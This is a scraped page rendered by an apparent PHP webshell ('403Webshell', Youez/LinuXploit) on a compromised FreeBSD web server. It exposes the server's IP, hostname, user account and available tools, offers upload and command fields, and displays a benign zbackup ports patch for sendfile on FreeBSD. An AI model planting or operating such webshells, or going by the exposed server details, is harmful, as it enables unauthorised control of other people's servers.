403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/zbackup/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/zbackup/files/patch-file.cc
--- file.cc.orig	2014-12-16 20:32:29.000000000 +0800
+++ file.cc	2015-06-23 13:16:37.741129000 +0800
@@ -6,7 +6,7 @@
 #include <unistd.h>
 #include <cerrno>
 #include <cstring>
-#ifdef __APPLE__
+#if defined(__APPLE_) || defined(__FreeBSD__)
   #include <sys/socket.h>
 #else
   #include <sys/sendfile.h>
@@ -67,6 +67,9 @@
       #ifdef __APPLE__
       if ( -1 == sendfile(write_fd, read_fd, offset, &stat_buf.st_size, NULL, 0) )
          throw exCantRename( from + " to " + to );
+      #elif defined(__FreeBSD__)
+      if ( -1 == sendfile(write_fd, read_fd, offset, stat_buf.st_size, NULL, NULL, 0) )
+         throw exCantRename( from + " to " + to );
       #else
       if ( -1 == sendfile(write_fd, read_fd, &offset, stat_buf.st_size) )
          throw exCantRename( from + " to " + to );

Youez - 2016 - github.com/yon3zu
LinuXploit